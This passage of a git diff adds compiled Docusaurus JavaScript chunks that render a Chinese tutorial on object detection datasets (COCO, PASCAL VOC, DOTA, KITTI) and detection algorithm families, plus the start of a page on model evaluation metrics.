f88\u591a\uff0c\u56e0\u4e3a\u6bcf\u4e00\u5f20\u56fe\u7247\u7684\u6807\u6ce8\u7684\u6210\u672c\u5f88\u9ad8\uff0c\u76f8\u8f83\u4e8e\u56fe\u7247\u5206\u7c7b\u7684\u5e38\u89c1\u6807\u6ce8\u65b9\u6cd5\u662f\u7ed9\u5b9a\u4e00\u4e2aCSV\u6587\u4ef6\uff08\u56fe\u7247\u4e0e\u6807\u53f7\u4e00\u4e00\u5bf9\u5e94\uff09\u6216\u8005\u662f\u7ed9\u5b9a\u4e00\u4e2a\u6587\u4ef6\u5939\uff08\u6bcf\u4e2a\u7c7b\u5bf9\u5e94\u4e00\u4e2a\u5b50\u6587\u4ef6\u5939\uff0c\u5bf9\u5e94\u6807\u53f7\u7684\u56fe\u7247\u653e\u5728\u5b50\u6587\u4ef6\u5939\u4e0b\uff09\uff0c\u4f46\u662f\u5bf9\u4e8e\u76ee\u6807\u68c0\u6d4b\u6765\u8bf4\u56e0\u4e3a\u4e00\u5f20\u56fe\u7247\u4e2d\u53ef\u80fd\u5b58\u5728\u591a\u4e2a\u7c7b\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u4e0d\u80fd\u653e\u5728\u5b50\u6587\u4ef6\u5939\u4e2d\uff0c\u6240\u4ee5\u901a\u5e38\u6765\u8bf4\u76ee\u6807\u68c0\u6d4b\u7684\u6570\u636e\u96c6\u7684\u6807\u53f7\u9700\u8981\u989d\u5916\u5b58\u50a8\uff0c\u5e38\u89c1\u7684\u5b58\u50a8\u683c\u5f0f\u6709PASCAL VOC\u7684\u683c\u5f0f\u548cCOCO\u7684\u6807\u6ce8\u683c\u5f0f\u3002\u5047\u8bbe\u4f7f\u7528\u6587\u672c\u6587\u4ef6\u5b58\u50a8\u7684\u8bdd\uff0c\u6bcf\u4e00\u884c\u8868\u793a\u4e00\u4e2a\u7269\u4f53\uff0c\u6bcf\u4e00\u884c\u5206\u522b\u7531\u56fe\u7247\u6587\u4ef6\u540d\uff08\u56e0\u4e3a\u4e00\u5f20\u56fe\u7247\u4e2d\u53ef\u80fd\u6709\u591a\u4e2a\u7269\u4f53\uff0c\u6240\u4ee5\u540c\u4e00\u4e2a\u6587\u4ef6\u540d\u53ef\u80fd\u4f1a\u51fa\u73b0\u591a\u6b21\uff09\u3001\u7269\u4f53\u7c7b\u522b\uff08\u6807\u53f7\uff09\u3001\u8fb9\u7f18\u6846\uff08\u56fe\u7247\u4e2d\u7269\u4f53\u7684\u4f4d\u7f6e\uff09\u7ec4\u6210\uff0c\u6bcf\u4e00\u884c\u4e00\u5171\u67096\uff081+1+4\uff09\u4e2a\u503c\n\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u7684\u6570\u636e\u96c6\u6709PASCAL VOC2007, MS COCO"}),"\n",(0,r.jsx)(n.h3,{id:"coco\u6570\u636e\u96c6",children:"COCO\u6570\u636e\u96c6"}),"\n",(0,r.jsxs)(n.p,{children:["[",(0,r.jsx)(n.a,{href:"https://cocodataset.org/#home",children:"Dataset url"}),"] [",(0,r.jsx)(n.a,{href:"https://arxiv.org/pdf/1405.0312v3.pdf",children:"Dataset paper"}),"] [",(0,r.jsx)(n.a,{href:"https://paperswithcode.com/dataset/coco",children:"Dataset Benchmarks"}),"]"]}),"\n",(0,r.jsx)(n.p,{children:"COCO\u662f\u76ee\u6807\u68c0\u6d4b\u4e2d\u6bd4\u8f83\u5e38\u89c1\u7684\u6570\u636e\u96c6\uff0c\u7c7b\u4f3c\u4e8eImagenet\u5728\u56fe\u7247\u5206\u7c7b\u4e2d\u7684\u5730\u4f4d\uff0ccoco\u6570\u636e\u96c6\u662f\u5fae\u8f6f\u5f00\u6e90\u7684\u4e00\u4e2a\u76ee\u6807\u68c0\u6d4b\u4e2d\u5e38\u7528\u7684\u5927\u89c4\u6a21\u6570\u636e\u96c6\uff0c\u76f8\u5bf9\u4e8eVOC\u800c\u8a00\uff0cCOCO\u6570\u636e\u96c6\u6709\u7740\u5c0f\u76ee\u6807\u591a\u3001\u5355\u5e45\u56fe\u7247\u76ee\u6807\u591a\u3001\u7269\u4f53\u5927\u591a\u975e\u4e2d\u5fc3\u5206\u5e03\u3001\u66f4\u7b26\u5408\u65e5\u5e38\u73af\u5883\u7684\u7279\u70b9\uff0c\u56e0\u800cCOCO\u6570\u636e\u96c6\u7684\u76ee\u6807\u68c0\u6d4b\u96be\u5ea6\u66f4\u5927\u3002\u5bf9\u4e8e\u76ee\u6807\u68c0\u6d4b\u4efb\u52a1\uff0cCOCO\u5305\u542b80\u4e2a\u7c7b\u522b\uff0c\u6bcf\u5e74\u5927\u8d5b\u7684\u8bad\u7ec3\u548c\u548c\u9a8c\u8bc1\u96c6\u5305\u542b120,000\u5f20\u56fe\u7247\uff0c\u8d85\u8fc740,000\u5f20\u6d4b\u8bd5\u56fe\u7247\uff08\u6bcf\u4e2a\u56fe\u7247\u5305\u542b\u591a\u4e2a\u7269\u4f53\uff09\u3002\u4e0b\u9762\u662f\u8fd9\u4e2a\u6570\u636e\u96c6\u4e2d\u768480\u4e2a\u7c7b\u522b\uff1a"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{children:"\u6240\u5c5e\u5927\u7c7b"}),(0,r.jsx)(n.th,{children:"lable"})]})}),(0,r.jsxs)(n.tbody,{children:[(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Person#1"}),(0,r.jsx)(n.td,{children:"person"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Vehicle#8"}),(0,r.jsx)(n.td,{children:"bicycle,car,motorcycle,airplane,bus,train,truck,boat"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Outdoor#5"}),(0,r.jsx)(n.td,{children:"traffic light, firhydrant, stop sign, parking meter, bench"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Animal#10"}),(0,r.jsx)(n.td,{children:"bird,cat, dog,horse, sheep, cow, elephant, bear, zebra, giraffe"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Accessory#5"}),(0,r.jsx)(n.td,{children:"backpack, umbrella,handbag, tie, suitcase"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Sport#10"}),(0,r.jsx)(n.td,{children:"frisbee, skis,snowboard, sports ball, kite, baseball bat , baseball glove, skateboard, surfboard, tennisracket"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Kitchen#7"}),(0,r.jsx)(n.td,{children:"bottle, wine glass,cup, fork, knife, spoon, bowl"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Food#10"}),(0,r.jsx)(n.td,{children:"banana, apple,sandwich, orange, broccoli, carrot, hot dog, pizza, donut, cake"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Furniture#6"}),(0,r.jsx)(n.td,{children:"chair, couch, potted plant,bed, dining table, toilet"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Electronic#6"}),(0,r.jsx)(n.td,{children:"tv, laptop, mouse,remote, keyboard, cell phone"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Appliance#5"}),(0,r.jsx)(n.td,{children:"microwave, oven,toaster, sink, refrigerator"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Indoor#7"}),(0,r.jsx)(n.td,{children:"book, clock, vase,scissors, teddy bear, hair drier, toothbrus"})]})]})]}),"\n",(0,r.jsxs)(n.p,{children:["\u4e0ePASCAL VOC\u6570\u636e\u6807\u6ce8\u683c\u5f0f\u4e0d\u540c\uff0cCOCO\u7684\u6570\u636e\u6807\u6ce8\u683c\u5f0f\u662f\u4ee5Json\u5f62\u5f0f\u4fdd\u5b58\uff0c\u5177\u4f53\u5f62\u5f0f\u53ef\u4ee5\u53c2\u8003COCO\u5b98\u7f51\u7684",(0,r.jsx)(n.a,{href:"https://cocodataset.org/#format-data",children:"format data"})]}),"\n",(0,r.jsx)(n.h3,{id:"pascal-voc",children:"PASCAL VOC"}),"\n",(0,r.jsxs)(n.p,{children:["[",(0,r.jsx)(n.a,{href:"http://host.robots.ox.ac.uk/pascal/VOC/index.html",children:"Dataset url"}),"] [",(0,r.jsx)(n.a,{href:"http://host.robots.ox.ac.uk/pascal/VOC/index.html",children:"Dataset paper"}),"] [",(0,r.jsx)(n.a,{href:"https://paperswithcode.com/dataset/pascal-voc-2007",children:"Dataset Benchmarks"}),"]"]}),"\n",(0,r.jsx)(n.p,{children:"Pascal VOC\u6570\u636e\u96c6\u662f\u76ee\u6807\u68c0\u6d4b\u7684\u5e38\u7528\u7684\u5927\u89c4\u6a21\u6570\u636e\u96c6\u4e4b\u4e00\uff0c\u4ece05\u5e74\u523012\u5e74\u90fd\u4f1a\u4e3e\u529e\u6bd4\u8d5b\uff08\u6bd4\u8d5b\u4efb\u52a1task\uff1a \u5206\u7c7bClassification \uff0c\u76ee\u6807\u68c0\u6d4bObject Detection\uff0c\u8bed\u4e49\u5206\u5272Class Segmentation\uff0c\u5b9e\u4f8b\u5206\u5272Object Segmentation\uff0cAction Classification\uff08\u4e13\u6ce8\u4e8e\u4eba\u4f53\u52a8\u4f5c\u7684\u4e00\u79cd\u5206\u7c7b\uff09\uff0cPerson Layout\uff08\u4e13\u6ce8\u4e8e\u4eba\u4f53\u5404\u90e8\u4f4d\u7684\u4e00\u79cd\u76ee\u6807\u68c0\u6d4b\uff09\uff09\u3002\u5f53\u524d\u5e38\u89c1\u7684\u6570\u636e\u96c6\u6709VOC2007\u548cVOC2012\u4e24\u4e2a\u6570\u636e\u96c6\u3002\u5305\u542b\u7ea610,000\u5f20\u5e26\u6709\u8fb9\u754c\u6846\u7684\u56fe\u7247\u7528\u4e8e\u8bad\u7ec3\u548c\u9a8c\u8bc1\u3002\u542b\u670920\u4e2a\u7c7b\u522b\u3002\u5177\u4f53\u5305\u62ec"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{children:"\u6240\u5c5e\u5927\u7c7b"}),(0,r.jsx)(n.th,{children:"label"})]})}),(0,r.jsxs)(n.tbody,{children:[(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Person"}),(0,r.jsx)(n.td,{children:"person"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Animal"}),(0,r.jsx)(n.td,{children:"bird, cat, cow, dog, horse,sheep"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Vehicle"}),(0,r.jsx)(n.td,{children:"aeroplane, bicycle, boat,bus, car, motorbike, train"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Indoor"}),(0,r.jsx)(n.td,{children:"bottle, chair, dining table,potted plant, sofa, tv/monitor"})]})]})]}),"\n",(0,r.jsxs)(n.p,{children:["\u76f8\u8f83\u4e8eCOCO\u6570\u636e\u96c6\u768480\u7c7b\u522b\uff0cPASCAL VOC\u6570\u636e\u96c6\u4ec5\u670920\u7c7b\uff0c\u56e0\u6b64\u4e5f\u5e38\u88ab\u770b\u4f5c\u662f\u76ee\u6807\u68c0\u6d4b\u9886\u57df\u7684\u57fa\u51c6\u6570\u636e\u96c6\u3002\u6570\u636e\u96c6\u4e0b\u8f7d\u5b8c\u540e\u4f1a\u6709\u4e94\u4e2a\u6587\u4ef6\u5939\uff1aAnnotations\u3001ImageSets\u3001JPEGImages\u3001SegmentationClass\u3001SegmentationObject\nannotations\uff1a\u6570\u636e\u96c6\u6807\u7b7e\u7684\u5b58\u50a8\u8def\u5f84\uff0c\u901a\u8fc7XML\u6587\u4ef6\u683c\u5f0f\uff0c\u4e3a\u56fe\u50cf\u6570\u636e\u5b58\u50a8\u5404\u7c7b\u4efb\u52a1\u7684\u6807\u7b7e\u3002\u5176\u4e2d\u90e8\u5206\u6807\u7b7e\u4e3a\u76ee\u6807\u68c0\u6d4b\u7684\u6807\u7b7e\u3002\nJPEGImages\uff1a\u6570\u636e\u96c6\u56fe\u50cf\u7684\u5b58\u50a8\u8def\u5f84\u3002\n\u5177\u4f53\u7684\u6807\u6ce8\u683c\u5f0f\uff0c\u8bf7\u53c2\u8003",(0,r.jsx)(n.a,{href:"http://host.robots.ox.ac.uk/pascal/VOC/voc2007/guidelines.html",children:"Annotation Guidelines"})]}),"\n",(0,r.jsx)(n.h3,{id:"dota",children:"DOTA"}),"\n",(0,r.jsxs)(n.p,{children:["[",(0,r.jsx)(n.a,{href:"https://captain-whu.github.io/DOTA/dataset.html",children:"Dataset url"}),"] [",(0,r.jsx)(n.a,{href:"https://captain-whu.github.io/DOTA/index.html",children:"Dataset paper"}),"] [",(0,r.jsx)(n.a,{href:"https://paperswithcode.com/dataset/dota",children:"Dataset Benchmarks"}),"]"]}),"\n",(0,r.jsx)(n.p,{children:"DOTA\u6570\u636e\u96c6\u662f\u6700\u4e3a\u91cd\u8981\u7684\u9065\u611f\u822a\u7a7a\u62cd\u6444\u7684\u76ee\u6807\u68c0\u6d4b\u6570\u636e\u96c6\u4e4b\u4e00\uff0c\u6570\u636e\u6765\u81eaGoogle Earth\uff0cGF-2\u548cJL-1\u536b\u661f\uff0cCycloMedia B.V\u3002DOTA\u5305\u542b\u7070\u5ea6\u56fe\u548cRGB\u56fe\u50cf\uff0c\u5e76\u4e14\u6bcf\u5f20\u56fe\u7247\u4ee5PNG\u5f62\u5f0f\u4fdd\u5b58\uff0c\u5176\u4e2dRGB\u6765\u81ea\u4e8eGoogle Earth\u548cCycloMedia\uff0c\u7070\u5ea6\u56fe\u6765\u81eaGF-2\u548cJL-1\u536b\u661f\u3002DOTA\u73b0\u6709v1.0\uff0cv1.5\uff0cv2.0\u4e09\u4e2a\u7248\u672c\uff0c\u5206\u522b\u652f\u630115\uff0c16\uff0c18\u7c7b\u7684\u68c0\u6d4b\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{children:"DOTA \u7248\u672c"}),(0,r.jsx)(n.th,{children:"\u5305\u542b\u7c7b\u522b"})]})}),(0,r.jsxs)(n.tbody,{children:[(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"DOTA v1.0"}),(0,r.jsx)(n.td,{children:"plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field and swimming pool"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"DOTA v1.5"}),(0,r.jsx)(n.td,{children:"plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field, swimming pool and container crane."})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"DOTA v2.0"}),(0,r.jsx)(n.td,{children:"plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field, swimming pool, container crane, airport and helipad."})]})]})]}),"\n",(0,r.jsxs)(n.p,{children:["\u5173\u4e8eDOTA\u7684\u6807\u6ce8\u5f62\u5f0f\uff0c\u8bf7\u53c2\u8003",(0,r.jsx)(n.a,{href:"https://captain-whu.github.io/DOTA/dataset.html",children:"DOTA Annotation format"})]}),"\n",(0,r.jsx)(n.h3,{id:"kitti",children:"KITTI"}),"\n",(0,r.jsxs)(n.p,{children:["[",(0,r.jsx)(n.a,{href:"http://www.cvlibs.net/datasets/kitti/",children:"Dataset url"}),"] [",(0,r.jsx)(n.a,{href:"https://arxiv.org/abs/1704.06857",children:"Dataset paper"}),"] [",(0,r.jsx)(n.a,{href:"https://paperswithcode.com/dataset/kitti",children:"Dataset Benchmarks"}),"]"]}),"\n",(0,r.jsx)(n.h2,{id:"\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u7b97\u6cd5",children:"\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u7b97\u6cd5"}),"\n",(0,r.jsx)(n.p,{children:"\u968f\u7740\u7b97\u529b\u7684\u53d1\u5c55\u548c\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\uff0c\u76ee\u6807\u68c0\u6d4b\u7ecf\u5386\u4e86\u4ece\u57fa\u4e8e\u624b\u5de5\u8bbe\u8ba1\u7279\u5f81\u7684\u65b9\u6cd5\u5230\u57fa\u4e8e\u6df1\u5ea6\u5b66\u4e60\u63d0\u53d6\u7279\u5f81\u7684\u9636\u6bb5\u3002\u5728\u65e9\u671f\uff0c\u76ee\u6807\u68c0\u6d4b\u6280\u672f\u5f80\u5f80\u91c7\u7528\u624b\u5de5\u8bbe\u8ba1\u7279\u5f81\uff08Haar\u7279\u5f81\u3001\u68af\u5ea6\u76f4\u65b9\u56feHOG\uff09\u52a0\u5206\u7c7b\u5668\uff08SVM\u3001AdaBoost\uff09\u7684\u65b9\u6cd5\u5b9e\u73b0\u3002\u968f\u7740\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u53d1\u5c55\uff0c\u76ee\u6807\u68c0\u6d4b\u51fa\u73b0\u4e86\u4e00\u7cfb\u5217\u7684\u57fa\u4e8e\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u76ee\u6807\u68c0\u6d4b\u6280\u672f\uff0c\u5305\u62ecR-CNN\u7cfb\u5217,SSD\u7cfb\u5217,YOLO\u7cfb\u5217\u7b49\u3002\u968f\u7740Transformer\u5728\u81ea\u7136\u8bed\u8a00\u5904\u7406\u548c\u8ba1\u7b97\u673a\u89c6\u89c9\u7684\u53d1\u5c55\uff0c\u4e5f\u51fa\u73b0\u4e86\u57fa\u4e8eTransformer\u7684\u76ee\u6807\u68c0\u6d4b\u6280\u672f\uff0c\u4ee3\u8868\u5de5\u4f5c\u6709DETR\u7cfb\u5217\u3002\u5728\u672c\u90e8\u5206\uff0c\u6211\u4eec\u4e3b\u8981\u4ecb\u7ecd\u57fa\u4e8e\u6df1\u5ea6\u5b66\u4e60\u7684\u76ee\u6807\u68c0\u6d4b\u6280\u672f\u5e76\u8fdb\u884c\u90e8\u5206\u4ee3\u7801\u7684\u89e3\u8bfb\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u53ef\u4ee5\u5c06\u57fa\u4e8e\u6df1\u5ea6\u5b66\u4e60\u7684\u76ee\u6807\u68c0\u6d4b\u6280\u672f\u6309\u7167\u6709\u65e0\u4f7f\u7528\u951a\u70b9\u6846\u5206\u4e3a\u57fa\u4e8e\u951a\u70b9\u6846\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\uff08Anchor-based\uff09\uff0c\u65e0\u951a\u70b9\u6846\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\uff08Anchor-free\uff09\u548c\u7aef\u5230\u7aef\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\uff08Anchor-free\uff09\u3002\u5176\u4e2d\u7aef\u5230\u7aef\u7684\u76ee\u6807\u68c0\u6d4b\u6280\u672f\u4e5f\u662f\u5c5e\u4e8e\u7279\u6b8a\u7684\u65e0\u951a\u70b9\u6846\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u53ef\u4ee5\u5c06\u57fa\u4e8e\u951a\u70b9\u6846\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u5206\u4e3a\u5355\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\uff08One-Stage\uff09\u548c\u4e24\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\uff08Two-Stage\uff09\uff0c\u5176\u4e2d\u5355\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u4ee3\u8868\u4f5c\u6709YOLO (You Only Look Once)\u548cSSD (Single Shot Detector)\uff0c\u4e24\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u7684\u4ee3\u8868\u4f5c\u6709R-CNN\uff08R-CNN\uff0cFast RCNN,Faster RCNN\uff0cMask RCNN\uff0cCascade RCNN\uff0cSPPNet\uff09\u7cfb\u5217\u3002\u4e00\u822c\u800c\u8a00\uff0c\u4e24\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u5177\u6709\u8f83\u9ad8\u7684\u68c0\u6d4b\u7cbe\u5ea6\uff0c\u800c\u5355\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u5177\u6709\u66f4\u9ad8\u7684\u7cbe\u5ea6\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u540c\u6837\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u65e0\u951a\u70b9\u6846\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u5206\u4e3a\u57fa\u4e8e\u76ee\u6807\u70b9\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u548c\u57fa\u4e8e\u5185\u90e8\u70b9\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u3002\n\u7aef\u5230\u7aef\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5"})]})}function o(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/4cf38676.6cabadd0.js b/en/assets/js/4cf38676.6cabadd0.js new file mode 100644 index 0000000..75ff028 --- /dev/null +++ b/en/assets/js/4cf38676.6cabadd0.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2640],{28453:(n,e,r)=>{r.d(e,{R:()=>s,x:()=>a});var i=r(96540);const l={},t=i.createContext(l);function s(n){const e=i.useContext(t);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function a(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(l):n.components||l:s(n.components),i.createElement(t.Provider,{value:e},n.children)}},57668:(n,e,r)=>{r.r(e),r.d(e,{assets:()=>c,contentTitle:()=>a,default:()=>o,frontMatter:()=>s,metadata:()=>i,toc:()=>p});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807","title":"0.2 \u8bc4\u4ef7\u6307\u6807.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2"},"next":{"title":"0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60"}}');var l=r(74848),t=r(28453);const s={},a="0.2 \u8bc4\u4ef7\u6307\u6807.md",c={},p=[{value:"\u6df7\u6dc6\u77e9\u9635",id:"\u6df7\u6dc6\u77e9\u9635",level:2},{value:"Overall Accuracy",id:"overall-accuracy",level:2},{value:"Average accuracy",id:"average-accuracy",level:2},{value:"Kappa\u7cfb\u6570",id:"kappa\u7cfb\u6570",level:2},{value:"Recall",id:"recall",level:2},{value:"Precision",id:"precision",level:2},{value:"F1",id:"f1",level:2},{value:"PR\u66f2\u7ebf",id:"pr\u66f2\u7ebf",level:2},{value:"\u7f6e\u4fe1\u5ea6",id:"\u7f6e\u4fe1\u5ea6",level:2},{value:"IOU",id:"iou",level:2},{value:"AP",id:"ap",level:2},{value:"mAP",id:"map",level:2}];function d(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(e.header,{children:(0,l.jsx)(e.h1,{id:"02-\u8bc4\u4ef7\u6307\u6807md",children:"0.2 \u8bc4\u4ef7\u6307\u6807.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(e.table,{children:[(0,l.jsx)(e.thead,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(e.tbody,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.td,{style:{textAlign:"left"},children:(0,l.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(e.table,{children:[(0,l.jsx)(e.thead,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(e.tbody,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.td,{style:{textAlign:"left"},children:(0,l.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,l.jsx)(e.h1,{id:"\u6a21\u578b\u8bc4\u4ef7\u6307\u6807",children:"\u6a21\u578b\u8bc4\u4ef7\u6307\u6807"}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u6211\u4eec\u5b66\u4e60\u673a\u5668\u5b66\u4e60\u4ee5\u53ca\u6df1\u5ea6\u5b66\u4e60\uff0c\u751a\u81f3\u5728\u8ba1\u7b97\u673a\u89c6\u89c9\u9886\u57df\uff0c\u6211\u4eec\u4e0d\u53ef\u907f\u514d\u7684\u8981\u5229\u7528\u4e00\u4e9b\u6307\u6807\u8bc4\u4ef7\u6a21\u578b\uff0c\u5728\u672c\u5c0f\u8282\u4e2d\uff0c\u6211\u4eec\u4ecb\u7ecd\u4e86\u6a21\u578b\u76f8\u5173\u8bc4\u4ef7\u6307\u6807\uff0c"}),"\n",(0,l.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60 